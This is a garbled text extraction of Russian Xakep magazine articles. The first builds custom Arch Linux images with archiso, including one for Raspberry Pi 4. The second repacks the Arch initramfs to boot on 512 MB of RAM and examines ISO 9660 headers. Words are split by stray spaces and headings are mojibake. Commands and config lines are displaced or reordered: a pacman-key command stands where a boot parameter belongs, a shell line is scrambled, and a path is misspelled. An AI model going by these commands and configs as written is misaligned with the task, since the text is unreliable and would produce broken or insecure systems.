
рекомен дую оста вить эти две:

/etc/locale.gen

$ARCHISO/airootfs/etc/locale.gen
en_US.UTF-8 UTF-8 
ru_RU.UTF-8 UTF-8 

Ста вим шрифт и парамет ры изме нения рас клад ки.

$ARCHISO/airootfs/etc/vconsole.conf
KEYMAP=ru
FONT=cyr-sun16

Ус танови свою вре мен ную зону.

 ln -sfv /usr/share/zoneinfo/Europe/Moscow $ARCHISO/airootfs/etc/
localtime 

При необ ходимос ти еще мож но добавить обыч ного поль зовате ля. Нап ример,
.archi

До писы ваем в конец фай ла :passwd
echo archi:x:1000:1000:archi:/home/archi:/usr/bin/bash >> 

$ARCHISO/airootfs/etc/passwd
И добав ляем запись в :shadow

 echo archi::14871:::::: >> $ARCHISO/airootfs/etc/shadow 

WARNING

Мы задали пус той пароль поль зовате лю, то есть
зай ти в сис тему он смо жет без ука зания пароля.

  mkdir -p $ARCHISO/airootfs/home/archi 
chown 1000:users $ARCHISO/airootfs/home/archi 

По чему 1000, а не имя archi? Если на тво ем локаль ном компь юте ре есть
поль зователь с таким же име нем, но с дру гим ID, то при уста нов ке прав будет
исполь зован его номер с текущей машины и потом при заг рузке све жеус- 
танов ленной сис темы у поль зовате ля не будет дос тупа к домаш нему катало 
гу.

Нас трой ки поль зователь ско го окру жения мож но задать, исполь зуя каталог
 ( ).skel $ARCHISO/airootfs/etc/skel

В готовой соб ранной сис теме при исполь зовании коман ды  фай- 

лы из катало га  копиру ются в каталог поль зовате ля со сме ной вла дель- 

ца.

useradd
skel

Уда ляем ненуж ные «хуки» pacman.

  rm -v $ARCHISO/airootfs/etc/pacman.d/hooks/*

WARNING

При соз дании ISO-обра за дис ка при помощи
mkarchiso часть нас тро ек будет сде лана
при помощи «хуков» (сце нари ев коман дной стро- 
ки) менед жера пакетов pacman. Эти хуки уда- 
ляют ся при соз дании ISO-обра за. Если ты пла- 
ниру ешь исполь зовать эту кон фигура цию
для соз дания ISO-обра зов с помощью mkarchiso,
не уда ляй хуки.

Те перь в наш кон фиг вхо дят все пакеты из офи циаль ного уста новоч ного
обра за. Так же мы добави ли гра фичес кий интерфейс и сетевой менед жер,
нас тро или его авто заг рузку и добави ли минималь ный набор прог рамм.
Теперь у нас есть кон фиг для сбор ки обра за дис ка для уста нов ки Arch Linux
в гра фичес ком окру жении. О том, как собирать сам образ, я писал в статье
« », можешь обра тить ся к ней.Кар манный Arch

На этом цве точ ки закон чились, перехо дим к ягод кам.

RASPBERRY PI

Мож но ли тем же методом сде лать образ для ARM-сис тем, нап ример
для Raspberry Pi? Сей час поп робу ем и узна ем!

У Archiso есть две стан дар тные кон фигура ции: releng, которая исполь зует- 
ся для соз дания офи циаль ных обра зов ISO, и baseline — минималь ная кон- 
фигура ция для соз дания собс твен ных сбо рок.

Сна чала я хотел делать образ на осно ве baseline, но ока залось, что
переде лать там надо боль ше полови ны, так что я решил собирать образ
с нуля. К тому же сов мести мость с Archiso для Raspberry Pi нам не нуж на.

Ïîäãîòîâêà
Я буду собирать кон фиг для Raspberry Pi 4B+ — прос то потому, что она
у меня есть. Не думаю, что для дру гих вер сий «Малины» будут какие-то серь- 
езные отли чия.

За осно ву возь мем образ .Arch Linux ARM
На пом ню, что все дей ствия мы будем делать от рута, пос коль ку вла дель- 

цем всех фай лов в катало ге с нас трой ками дол жен быть root.

su 
 ~ cd

Соз даем наш рабочий каталог.

  pi mkdir -v

Для удобс тва записы ваем путь до катало га с нас трой ками в перемен ную.

export ARCHISO=/root/pi 

Стан дар тные кон фиги Archiso сде ланы для архи тек туры x86-64. Мы же будем
собирать для AArch64. У нас будут дру гие репози тории, поэто му нам надо
отре дак тировать файл  нашего кон фига.pacman.conf

Я пишу статью, работая уже на Arch Linux ARM, поэто му могу прос то ско- 
пиро вать их кон фиг:

cp /etc/pacman.conf $ARCHISO/pacman.conf 

Но для пол ноты кар тины при веду фраг мент фай ла, который отли чает ся
от вер сии для x86-64:

$ARCHISO/pacman.conf
...

  Architecture = aarch64
...
[core]

  Include = /etc/pacman.d/mirrorlist

[extra]
  Include = /etc/pacman.d/mirrorlist

[alarm]
  Include = /etc/pacman.d/mirrorlist

[aur]
  Include = /etc/pacman.d/mirrorlist

И под пра вим файл со спис ком репози тори ев:

/etc/pacman.d/mirrorlist
  Server = http://mirror.yandex.ru/archlinux-arm/$arch/$repo
  Server = http://mirror.archlinuxarm.org/$arch/$repo

Как и рань ше, спи сок пакетов мы будем хра нить в фай ле . Соз дадим

файл и заод но запишем в него пер вый базовый пакет:

packages

base  echo > $ARCHISO/packages.aarch64 

Ïàêåòû ARM
В нашем будущем обра зе не хва тает самых важ ных пакетов: ядра, заг рузчи ка
и клю чей для pacman. Добавим их в конец нашего фай ла packages.aarch64:

$ARCHISO/packages.aarch64
raspberrypi-bootloader 

linux-rpi 
linux-rpi-headers 

archlinuxarm-keyring 

Па ра слов о ядрах и заг рузчи ках. Для Raspberry Pi два заг рузчи ка:
 и . С ядра ми тоже есть вари- 

анты, но не каж дый заг рузчик под ходит к каж дому ядру. В прин ципе,
при попыт ке пос тавить несов мести мые пакеты выводит ся соот ветс тву ющее
сооб щение, но на вся кий слу чай я тебя пре дуп редил.

raspberrypi-bootloader uboot-raspberrypi

Так как мы жес тко при вязы ваем ся к железу, можем заранее записать файл
. Точ нее, даже обя затель но сде лать это!/etc/fstab

 
  

echo "/dev/mmcblk0p1  /boot   vfat    defaults,
errors=remount-ro       0       0" > $ARCHISO/airootfs/etc/fstab 

Íàñòðîéêà çàãðóç÷èêà
Заг рузчик нас тра ивает ся через файл :/boot/config.txt

vim $ARCHISO/airootfs/boot/config.txt 

Там дос тупно мно жес тво нас тро ек, которые мож но менять, а мож но и не
менять. Даль ше я выс тавлю их для сво ей RPi 4B+, а если у тебя дру гая вер- 
сия, обя затель но сверь ся с .до кумен таци ей

Стро ку заг рузки оставля ем как есть:

initramfs initramfs-linux.img followkernel 

Для отклю чения чер ной рам ки по перимет ру экра на добав ляем такой
параметр:

 pacman-key --init
  pacman-key --populate archlinuxarm

Для отклю чения цвет ной зас тавки перед заг рузкой:

disable_splash=1

Ес ли ты под клю чаешь монитор по HDMI и в нем нет встро енных колонок, то
звук мож но выводить через мини-джек. Для это го надо ука зать заг рузку виде- 
одрай вера без вывода зву ка:

dtoverlay=vc4-kms-v3d-pi4,noaudio=on

Этот параметр дол жен быть ука зан выше стро ки заг рузки (
).

initramfs 
initramfs-linux.img followkernel

Еще мож но отклю чить инди като ры на пла те:

dtparam=pwr_led_trigger=default-on
dtparam=pwr_led_activelow=off

dtparam=act_led_trigger=none
dtparam=act_led_activelow=off

И инди като ры разъ ема RJ45:

dtparam=eth_led0=4
dtparam=eth_led1=4

Наз вание парамет ров для инди като ров недав но менялось, так что на вся кий
слу чай сверь ся с .до ками

На этом все. Уста новить пакеты и нас тро ить поль зователь ское окру жение
можешь по ана логии с нашим обра зом xrerus. Дос таточ но пов торить все дей- 
ствия за исклю чени ем раз дела нас трой ки mkinitcpio.

Единс твен ная ого вор ка: для «Малины» не нуж ны будут пакеты 
 и , так что прос то не добав ляй их в свой

.

xf86-
video-ati xf86-video-intel
packages.aarch64

Ñáîðêà îáðàçà äëÿ Raspberry Pi
Сбор ка обра за тоже про исхо дит уже опи сан ным выше спо собом, но есть
важ ное отли чие: нам понадо бит ся сде лать два раз дела на дис ке. Пер вый
раз дел будет называть ся , и его нуж но отформа тиро вать в FAT32. Вто рой

раз дел — кор невой.

boot

Раз бива ем диск:

 sgdisk -o -n 1:0:+256M -t 1:EF00 -n 2:0:0 -t 2:8300 usb.img 

При уста нов ке пакетов не забудь исполь зовать файл со спис ком пакетов —
.packages.aarch64

     
    

grep -v '^#' $ARCHISO/packages.aarch64 | tr '\n' ' ' | xargs 
pacstrap -c -G -M -C $ARCHISO/pacman.conf -- /mnt/usb 

Еще тебе надо будет ини циали зиро вать клю чи pacman. Это мож но сде лать
во вре мя соз дания обра за, ког да зай дешь в chroot, либо уже в готовой сис- 
теме перед пер вым запус ком pacman.

Ини циали зиру ем клю чи для pacman:

pacman-key --init
pacman-key --populate archlinuxarm 

Àëüòåðíàòèâíûé âàðèàíò
Ес ли ты пла ниру ешь исполь зовать кар ту памяти на 32 Гбайт или боль ше, то
соз давать образ с боль шим пус тым мес том не всег да удоб но. В офи циаль- 
ном дис три бути ве Arch Linux ARM сде лано имен но так. Вся уста нов ка про- 
исхо дит в каталог, а затем его прос то паку ют в архив. При уста нов ке
на накопи тель диск раз бива ется на нуж ные раз делы и фор матиру ется,
а затем туда рас паковы вает ся архив. Перепи сывать это руководс тво я
не буду, оно  на сай те про екта Arch Linux ARM.дос тупно

GPIO
У Raspberry Pi есть интерфейс для под клю чения вся кого обо рудо вания, в том
чис ле самодель ного, он называ ется GPIO. Для работы с ним из Python нам
понадо бит ся пакет из репози тория AUR — .python-rpi-gpio

Ска чива ем , собира ем и уста нав лива ем его:python-rpi-gpio

git clone https://aur.archlinux.org/python-rpi-gpio.git 
cd python-rpi-gpio 
makepkg -si

ÂÛÂÎÄÛ

Соб рав образ xrerus, мы получи ли сис тему, ана логич ную офи циаль ному уста- 
новоч ному дис ку, но с гра фичес ким интерфей сом и допол нитель ными прог- 
рамма ми. То же самое мы про дела ли и с при целом на Raspberry Pi, так что
теперь у тебя будет шаб лон, по которо му ты смо жешь делать свои дис три- 
бути вы Arch Linux.

https://xakep.ru/2024/05/24/portable-arch/
https://archlinuxarm.org/platforms/armv8/broadcom/raspberry-pi-4
https://www.raspberrypi.com/documentation/computers/config_txt.html
https://github.com/raspberrypi/documentation/blob/develop/documentation/asciidoc/computers/config_txt/what_is_config_txt.adoc
https://archlinuxarm.org/platforms/armv8/broadcom/raspberry-pi-4
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В этой статье мы испра вим дис три бутив
Arch Linux 2024.06 так, что бы его мож но
было исполь зовать на компь юте рах
с малым объ емом опе ратив ной памяти. А в
ходе работы поз накомим ся с эле мен тами
струк туры фай ловой сис темы ISO
9660 и научим ся исполь зовать штат ные
инс тру мен ты для решения око лоха кер ских
задач.

В пре дыду щих стать ях «дието логии» — « » и «
» — мы порабо тали над сни жени ем тре бова ний к опе ратив ной

памяти Bodhi Linux и дос тигли в этом опре делен ных успе хов. Но круг пок- 
лонни ков Bodhi не так велик. Поэто му давай пос мотрим, каков аппе тит
у гораз до более близ кого сер дцу хакера Arch Linux.

Linux на диете Но вая диета
для Linux

Как ты зна ешь, Arch Linux заг ружа ется в тек сто вую кон соль, пос ле чего
дает поль зовате лю пол ней шую сво боду дей ствий. Навер ное, 512 Мбайт ОЗУ
для такой сре ды будет более чем дос таточ но? Давай про верим.

Итак, выс тавля ем в свой ствах вир туаль ной машины объ ем опе ратив ной
памяти 512 Мбайт, заг ружа ем , под клю- 
чаем, запус каем, получа ем...

об раз archlinux-2024.06.01-x86_64.iso

 
 

 

 
 
[ ] Initramfs unpacking failed: write error 
 

 

 

 

 

 
 
[rootfs ~]# _ 
 
 

Loading /arch/boot/x86_64/vmlinuz-linux... ok

Loading /arch/boot/x86_64/initramfs-linux.img...ok

mount: error while loading shared libraries: libmount.so.1: cannot open 
shared object file: No such file or directory

...

ERROR: Failed to mount '' on real root

You are now being dropped into an emergency shell.

sh: can't access tty; job control turned off

«Ага-а-а!» — ска зали бы тут угрю мые рус ские мужики, валив шие в далеком
сибир ском лесу вековые кед ры дву руч ными пилами. И здесь нас встре тила
ста рая доб рая ошиб ка: . Прав- 
да, вмес то kernel panic мы получи ли ава рий ную коман дную стро ку, но она
не работа ет. Как понят но из пос ледне го сооб щения, обо лоч ка  не смог ла

свя зать ся с тер миналом .

Initramfs unpacking failed: write error

sh
tty

По хоже, нам есть чем занять ся! Прис тупим. В качес тве рабочей опе раци- 
онной сис темы я по при выч ке вос поль зовал ся Bodhi Linux 6.0, что в ито ге
при вело к... Но обо всем по поряд ку.

ÈÇÌÅÐßÅÌ È ÐÀÇÁÈÐÀÅÌ

Для начала еще раз попыта емся запус тить Arch Linux, ука зав в парамет рах
ядра опцию , что бы отла доч ные события шли в пос- 

ледова тель ный порт, который у вир туаль ной машины мож но при вязать к фай- 
лу. Боль ше все го нас сей час инте ресу ет рас пре деле ние опе ратив ной памяти.

debug console=ttyS0

 
 
 
[ ] Memory: 320340K/523832K available (18432K kernel code, 2164K rwdata, 
13224K rodata, 3412K init, 3624K bss, 203232K reserved, 0K cma-reserved) 
 

 
 
[ ] Initramfs unpacking failed: write error 
 
 
[ ] Freeing initrd memory: 143796K 
 
 

...

Из сооб щения вид но, что пос ле заг рузки ядра с упа кован ным обра зом
минималь ной фай ловой сис темы (МФС) и резер вирова ния слу жеб ных
областей для работы оста лось 320 340 Кбайт опе ратив ной памяти. Не то что- 
бы сов сем уж мало, но с уче том упа кован ного раз мера обра за МФС
в 143 796 Кбайт исчерпа ние памяти не выг лядит чем-то уди витель ным.

Для даль нейшей работы с содер жимым дис три бутив ного обра за удоб но
извлечь его в отдель ный каталог . Если он при мон тирован в точ ке 

, это мож но сде лать коман дой

isofs /
media/ARCH_202406

 cp -R /media/ARCH_202406/. ./isofs 

Твор ческий порядок в рабочем катало ге

Те перь пос мотрим, что собой пред став ляет упа кован ный образ МФС,
который находит ся в фай ле 

.

isofs/arch/boot/x86_64/initramfs-linux.
img

 

 

$ initrd=isofs/arch/boot/x86_64/initramfs-linux.img 
$ dd if=$initrd bs=512 | file -z - 
/dev/stdin: ASCII cpio archive (SVR4 with no CRC)

По нят но, сна чала идет неупа кован ный архив CPIO. Рас паку ем-ка его
в каталог  и пос мотрим, что в нем.initrd_1

 

 

$ mkdir initramfs_1 
$ dd if=$initrd bs=512 | cpio -iD initramfs_1
260261 blocks

Ока зыва ется, он содер жит мик рокод про цес соров AMD и Intel в катало ге
, а так же модули ядра и дво ичные фай лы устрой ств в катало гах 

 и  соот ветс твен но. При чем, судя по суф- 

фиксам , боль шинс тво фай лов уже сжа ты алго рит мом ZSTD, что сущес- 

твен но сни жает наши воз можнос ти опти миза ции. Давай пос мотрим, какой
объ ем занима ют фай лы это го бло ка МФС.

kernel usr/
lib/modules usr/lib/firmware

.zst

 

 

$ du -sh initramfs_1/{kernel,usr/lib/*} 
13M initramfs_1/kernel 
69M initramfs_1/usr/lib/firmware 
53M initramfs_1/usr/lib/modules

Хо рошо, теперь гля нем, что еще есть в обра зе МФС.

 

 

$ dd if=$initrd bs=512 skip=260261 | file -z - 
/dev/stdin: data

А это что за новость?! Какая еще ? Надо разоб рать ся:data

 

 

$ dd if=$initrd bs=512 skip=260261 count=1 | hexdump -C 
1+0 records in 
1+0 records out 
512 bytes copied 
00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  
|................| 
* 
00000200

Ну ли?! Видимо, сбор щики обра за МФС решили выров нять начала бло ков.
Это, конеч но, хорошо, но где же начина ется сле дующий блок?

 

 

$ cmp $initrd /dev/zero $((512*260261)) 
isofs/arch/boot/x86_64/initramfs-linux.img /dev/zero differ: byte 9729, 
line 1

По нят но, теперь мы можем сно ва попытать ся опре делить тип сле дующе го
бло ка:

 

 

$ dd iflag=skip_bytes if=$initrd bs=512 skip=$((512*260261+9728)) | file 
-z - 
/dev/stdin: ASCII cpio archive (SVR4 with no CRC) (XZ compressed data)

Ага, вто рой блок пред став ляет собой архив CPIO, сжа тый алго рит мом XZ.
Рас паку ем и пос мотрим, что в нем:

 

 

$ mkdir initramfs_2 
$ dd iflag=skip_bytes if=$initrd bs=512 skip=$((512*260261+9728)) | unxz 
| cpio -iD initramfs_2 
27309+1 records in 
27309+1 records out 
13982236 bytes (14 MB, 13 MiB) copied
86167 blocks

А в нем, как нет рудно догадать ся, оставша яся часть МФС: ути литы и биб- 
лиотеч ные модули, фай лы с нас трой ками и сце нарий , запус каемый
ядром пос ле ини циали зации. Занима ет все это в рас пакован ном
виде 43 Мбайт.

init

 

 

$ du -sh initramfs_2 
43M initramfs_2

È ×ÒÎ ÒÅÏÅÐÜ Ñ ÝÒÈÌ ÄÅËÀÒÜ?

Итак, образ МФС мы рас пакова ли. Теперь надо решить, что с ним делать
даль ше. Фокус с при мене нием алго рит мов сжа тия тут не прой дет, потому что
всё уже сжа ли до нас. Мож но было бы уда лить некото рые ненуж ные драй- 
веры, но не хотелось бы нарушать задум ку соз дателей дис три бути ва. Раз они
помес тили драй веры виде оадап теров в МФС, зна чит, они тут нуж ны...
Или нет?

По годи-ка, а что там у нас было во вре мя самой пер вой попыт ки заг рузить
Arch Linux на 512 Мбайт? Нерабо тающая кон соль? А отку да взя лась кон соль,
если при рас паков ке МФС про изош ла ошиб ка? Получа ется, что ошиб ку рас- 
паков ки МФС ядро не счи тает кри тичес кой, стол кнув шись с такой ситу ацией,
оно не панику ет, а пыта ется работать даль ше как ни в чем не бывало. Вот
как выг лядит жур нал заг рузки с вклю чен ными отла доч ными сооб щени ями:

 
 

 
 
[ ] Initramfs unpacking failed: write error 
 

 
 
[ ] Run /init as init process 
 

 

 

 

 

 

 

 

 

 
 
[rootfs ~]# _ 
 
 

...

...

...

mount: error while loading shared libraries: libmount.so.1: cannot open 
shared object file: No such file or directory

...

/init: line 16: can't open /proc/cmdline: no such file

:: mounting '' on real root

mount: error while loading shared libraries: libmount.so.1: cannot open 
shared object file: No such file or directory

ERROR: Failed to mount '' on real root

You are now being dropped into an emergency shell.

sh: can't access tty; job control turned off

По луча ется, из-за того, что файл биб лиоте ки  не попал в ту

часть МФС, которая успе ла рас паковать ся, сце нарий  не смог при мон- 
тировать вир туаль ные фай ловые сис темы, вклю чая , потом не смог

обра ботать парамет ры ядра , и пош ло-поеха ло. Как в сти хот- 

ворении Мар шака: «Враг всту пает в город, плен ных не щадя, отто го, что в куз- 
нице не было гвоз дя».

libmount.so.1
init
/proc

/proc/cmdline

Ес ли бы все необ ходимое для работы сце нария  и перек лючения

на пол ноцен ную кор невую фай ловую сис тему рас пакова лось, а драй веры
виде оадап тера — нет, то мы этой пос ледней неп рият ности, воз можно, даже
и не замети ли бы?

init

Что ж, эта гипоте за под ска зыва ет одно нап равле ние для изыс каний. Надо
перес тавить бло ки в фай ле обра за МФС так, что бы пор ция с прог рамма ми
и биб лиоте ками шла в нем пер вой и гаран тирован но рас паковы валась в пол- 
ном объ еме. Потом пусть будут драй веры накопи телей и фай ловых сис тем,
а в самом кон це раз местим дво ичные фай лы устрой ств.

На компь юте рах с дос таточ ным объ емом опе ратив ной памяти все рас- 
паку ется и никак не пов лияет на даль нейшую работу, а на сис темах с огра- 
ничен ной памятью не получит ся вос поль зовать ся некото рыми адап терами
Wi-Fi, но зато будет работа ющая кон соль. По-моему, этот вари ант сто ит того,
что бы поп робовать его реали зовать!

ÑÒÐÎÈÒÜ — ÍÅ ËÎÌÀÒÜ...

Что бы не занимать ся кро пот ливым отбо ром, сфор миру ем бло ки обра за МФС
в сле дующем поряд ке.
1. Мик рокод про цес соров Intel и AMD  — нес жатый

CPIO-архив.
initramfs_1/kernel

2. Ути литы, биб лиоте ки, кон фиги  — сжа тый XZ CPIO-архив.initramfs_2

3. Мо дули ядра Linux  — нес жатый CPIO-
архив.

initramfs_1/usr/lib/modules

4. Дво ичные фай лы устрой ств  — нес- 
жатый CPIO-архив.

initramfs_1/usr/lib/firmware

Ре али зуем этот замысел.

 

 

$ newinitrd='initramfs-linux.img' 
$ cd initramfs_1 
$ { echo './early_cpio' ; find './kernel' ; } | cpio -oH newc > 
../$newinitrd 
25427 blocks 
$ cd ../iniramfs_2 
$ find '.' | cpio -oH newc | xz -C none  >> ../$newinitrd 
86167 blocks 
$ cd ../initramfs_1 
$ find './usr/lib/modules' | cpio -oH newc >> ../$newinitrd 
98722 blocks 
$ find './usr/lib/firmware' | cpio -oH newc >> ../$newinitrd 
136111 blocks

По мес тим сфор мирован ный образ МФС в фай ловую сис тему дис три бути ва:

chmod u+w isofs/arch/boot/{x86_64,x86_64/initramfs-linux.img}
mv initramfs-linux.img isofs/arch/boot/x86_64/ 

Те перь мож но соб рать ISO:

 

 

$ chmod u+w isofs/boot/syslinux/isolinux.bin 
$ genisoimage -lrJV 'ARCH_LOWRAM' -input-charset default \ 
  -c boot/syslinux/boot.cat -b boot/syslinux/isolinux.bin \ 
  -no-emul-boot -boot-load-size 4 -boot-info-table \ 
  -o 'arch_lowram.iso' ./isofs

ÊÀÊÈÅ ÂÀØÈ ÄÎÊÀÇÀÒÅËÜÑÒÂÀ?

Нас тупа ет ответс твен ный момент испы тания. Я под клю чил образ к вир туаль- 
ной машине, запус тил... И получил то же, что и с офи циаль ным дис три бути- 
вом, — нерабо тающую кон соль и сооб щение 

. Какая досада! Ведь идея была хорошая!

Initramfs unpacking 
failed: write error

INFO

Су щес твен но сок ратить вре мя сбор ки и раз мер
ISO-обра за для тес тирова ния мож но, если вре- 
мен но вынес ти за пре делы катало га  файл

, содер- 
жащий основную кор невую фай ловую сис тему
дис три бути ва Arch Linux. Этот файл мож но будет
вер нуть на мес то пос ле того, как будет получен
работос пособ ный образ МФС.

isofs
isofs/arch/x86_64/airootfs.sfs

Я про верил выпол ненные опе рации, получен ный ISO-образ — и ниг де
не обна ружил ошиб ки. Тог да решил запус тить его с гигабай том памяти.
Сооб щений на экра не ста ло боль ше, но кон соль по-преж нему не работа ла!
Зна чит, дело теперь не в объ еме памяти. Это зас тавило меня вни матель нее
про читать диаг ности чес кие сооб щения... И вот отли чие:

 

 

mount: /proc: must be superuser to use mount.
       dmesg(1) may have more information after failed mount system 
call.

То есть для мон тирова ния надо быть супер поль зовате лем. А я тог да кто?!
Это сооб щение зас тавило меня усом нить ся в сво ей сущ ности и даже помес- 
тить в сце нарий  неболь шую прог рам мку, выводя щую зна чения 
и . Получив от нее два нуля, я нем ного успо коил ся, но проб лема

отка за в мон тирова нии никуда не исчезла.

init getuid()
geteuid()

Пот ратив еще некото рое вре мя на изу чение офи циаль ного обра за МФС, я
обра тил вни мание на то, что вла делец фай лов в его CPIO-архи вах — поль- 
зователь с нулевы ми UID:GID. Что ж, давай поп робу ем коман ду упа ков ки
записать в виде

 

 
... cpio -R +0:+0 -oH newc ...

И зна ешь что? Это помог ло! Вот, кста ти, как выг лядит рас пре деле ние памяти
на 512 Мбайт:

 

 

$ free -h 
          total    used    free    shared  buff/cache  available 
Mem:      459Mi    96Mi   6.2Mi     4.2Mi       371Mi      363Mi 
Swap:       0B      0B      0B

Но почему успех мон тирова ния зависит от вла дель ца фай лов? Неуже ли...

 

 

$ ls -l initramfs_2/usr/bin/mount 
-rwsr-xr-x 1 user user 43096 Jun  5 21:15 initramfs_2/usr/bin/mount

Ну конеч но, на фай ле прог раммы  уста нов лен бит SUID, наз нача ющий

при ее выпол нении эффектив ным поль зовате лем вла дель ца фай ла. И если
вла делец не явля ется супер поль зовате лем, то при виле гии понижа ются.
Для чего так сде лано? Оста ется толь ко догады вать ся.

mount

ÍÅ ÄÓÌÀÉ Î ÑÅÊÓÍÄÀÕ ÑÂÛÑÎÊÀ

Есть, прав да, у нашего ISO-обра за один изъ ян. Про цесс заг рузки на десять
секунд пре рыва ется сооб щени ем

 

 

Waiting 10 seconds for device /dev/disk/by-uuid/2024-06-01-09-07-18-00 
...

Но потом про дол жает ся:

 

 

:: Searching for '/boot/2024-06-01-09-07-18-00.uuid' in '/dev/sr0' 
:: Mounting '/dev/sr0' to '/run/archiso/bootmnt' 
...

Де ло в том, что при ори тетом при опре деле нии дис три бутив ного носите ля
в Arch Linux будет иден тифика тор UUID. В слу чае опти чес кого дис ка 

 в фор мате
. Естес твен но, прог рамма сбор ки ISO-обра за про писа ла

в ука зан ные поля текущие дату и вре мя, а тем, что заг рузка таки про дол жает- 
ся, мы обя заны тому, что раз работ чики вве ли аль тер натив ный спо соб обна- 
руже ния дис три бути ва по наличию в нем фай ла 

.

им будет
отметка вре мени соз дания или модифи кации ISO-обра за
ГГГГММДДччммссСС

/boot/ГГГГ-ММ-ДД-чч-мм-
сс-СС.uuid

Об раз в целом работа ет, но я решил его пересоб рать с явным ука зани ем
ожи даемых дис три бути вом отме ток вре мени. И тут меня под жидал боль шой
сюр приз. Ока зыва ется, в сооб щес тве Arch Linux для сбор ки ISO-обра зов
пред почита ют исполь зовать прог рамму , а не , как это

при нято у поль зовате лей Ubuntu. И если в  есть спе циаль ный
параметр , то воз можность задать про изволь ные

зна чения даты и вре мени в  отсутс тву ет нап рочь.

xorriso genisoimage
xorriso

-volumedate 'uuid' ...
genisoimage

Продолжение статьи →
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ОБЪЕМОМ ПАМЯТИ

COVERSTORY  НАЧАЛО СТАТЬИ←

ÃÍÓÒÛÌ ÃÂÎÇÄßÌ — ÃÍÓÒÛÉ ÌÎËÎÒÎÊ

И все же, нес мотря на то что  
, я решил попытать ся спра вить ся с ситу ацией «в режиме хакера». При- 

поми ная, что у боль шинс тва фай ловых сис тем есть заголо вок, запус тим поиск
стро ки по пер вым мегабай там фай ла ISO-обра за. У меня на часах сре да,
5 июня 2024 года. Поэто му:

genisoimage на зыва ют дефек тивной вер сией
mkisofs

 

 

$ dd if=arch_lowram.iso bs=1024K count=4 | grep -abo '20240605' 
33581:20240605 
33598:20240605 
33632:20240605 
37677:20240605 
37694:20240605 
37728:20240605 
4+0 records in 
4+0 records out 
4194304 bytes (4.2 MB, 4.0 MiB) copied.

Ис комая стро ка встре чает ся в обра ботан ном бло ке шесть раз... Струк туру
заголов ка фай ловой сис темы ISO 9660 я не пом ню, поэто му приш ло вре мя
обра тить ся к докумен тации.

WWW

Неп лохое опи сание струк туры фай ловой сис темы
ISO 9660 ты можешь най ти в .ви ки osdev.org

Ес ли корот ко, то пер вые 32 Кбайт (32 768 байт) зарезер вирова ны для слу- 
чаев, ког да образ записан не на опти чес кий диск, а на дру гой носитель, нап- 
ример USB-флеш ку. А вот даль ше идет один или нес коль ко заголов ков тома
(Volume Descriptor), по 2 Кбайт (2048 байт) каж дый. С точ ки зре ния инте ресу- 
юще го нас воп роса информа ция в заголов ках рас положе на так:

+0: 0x01, CD001 ... — пер вичный заголо вок тома (The Primary Volume
Descriptor);

•

+813 (33581) — дата/вре мя соз дания обра за;•
+830 (33598) — дата/вре мя модифи кации обра за;•
+847 (33616) — дата/вре мя уста рева ния обра за;•
+864 (33632) — дата/вре мя начала дей ствия обра за.•

Струк тура фай ла ISO-обра за Arch Linux

Смот ри-ка, а сме щения-то сов пада ют! Вот как это выг лядит на прак тике:

 

 

$ dd iflag=skip_bytes if=arch_lowram.iso bs=128 skip=32768 | hexdump -C 
1+0 records in 
1+0 records out 
00000000  01 43 44 30 30 31 01 00  4c 49 4e 55 58 20 20 20  
|.CD001..LINUX   | 
00000010  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20  |                
| 
00000020  20 20 20 20 20 20 20 20  41 52 43 48 5f 4c 4f 57  |        
ARCH_LOW| 
00000030  52 41 4d 20 20 20 20 20  20 20 20 20 20 20 20 20  |RAM             
| 
00000040  20 20 20 20 20 20 20 20  00 00 00 00 00 00 00 00  |        
........| 
00000050  bd cc 09 00 00 09 cc bd  00 00 00 00 00 00 00 00  
|................| 
00000060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  
|................| 
00000070  00 00 00 00 00 00 00 00  01 00 00 01 01 00 00 01  
|................| 
00000080

Как и пред полага лось, это начало пер вично го заголов ка тома. Теперь давай
пос мотрим на его учас ток с полями отме ток вре мени. Из докумен тации мож- 
но узнать фор мат каж дого такого поля: , где  —
десятич ные раз ряды сотых долей секун ды,  — байт, содер жащий сме щение

часово го пояса в 15-минут ных интерва лах.

ГГГГММДДччммссССZ СС
Z

 

 

$ dd iflag=skip_bytes if=arch_lowram.iso bs=128 skip=33581 | hexdump -C 
1+0 records in 
1+0 records out 
00000000  32 30 32 34 30 36 30 35  31 31 31 31 30 39 30 30  
|2024060511110900| 
00000010  f0 32 30 32 34 30 36 30  35 31 31 31 31 30 39 30  
|.202406051111090| 
00000020  30 f0 30 30 30 30 30 30  30 30 30 30 30 30 30 30  
|0.00000000000000| 
00000030  30 30 00 32 30 32 34 30  36 30 35 31 31 31 31 30  
|00.2024060511110| 
00000040  39 30 30 f0 01 00 20 20  20 20 20 20 20 20 20 20  |900...          
| 
00000050  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20  |                
| 
* 
00000080

Сле дующие 2048 байт содер жат информа цию заг рузчи ка El Torito, которая
в дан ный момент не пред став ляет для нас инте реса.

 

 

$ dd iflag=skip_bytes if=arch_lowram.iso bs=128 skip=34816 | hexdump -C 
1+0 records in 
1+0 records out 
00000000  00 43 44 30 30 31 01 45  4c 20 54 4f 52 49 54 4f  |.CD001.EL 
TORITO| 
00000010  20 53 50 45 43 49 46 49  43 41 54 49 4f 4e 00 00  | 
SPECIFICATION..| 
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  
|................| 
* 
00000040  00 00 00 00 00 00 00 40  00 00 00 00 00 00 00 00  
|.......@........| 
00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  
|................| 
* 
00000080

В треть ем 2048-бай тном бло ке мы находим заголо вок Joliet — спе цифи- 
кации, раз работан ной Microsoft для хра нения имен фай лов дли ной до 64 сим- 
волов в двух бай тном фор мате Unicode.

 

 

$ dd iflag=skip_bytes if=arch_lowram.iso bs=128 skip=36864 | hexdump -C 
1+0 records in 
1+0 records out 
00000000  02 43 44 30 30 31 01 00  00 4c 00 49 00 4e 00 55  
|.CD001...L.I.N.U| 
00000010  00 58 00 20 00 20 00 20  00 20 00 20 00 20 00 20  |.X. . . . . 
. . | 
00000020  00 20 00 20 00 20 00 20  00 41 00 52 00 43 00 48  |. . . . 
.A.R.C.H| 
00000030  00 5f 00 4c 00 4f 00 57  00 52 00 41 00 4d 00 20  
|._.L.O.W.R.A.M. | 
00000040  00 20 00 20 00 20 00 20  00 00 00 00 00 00 00 00  |. . . . 
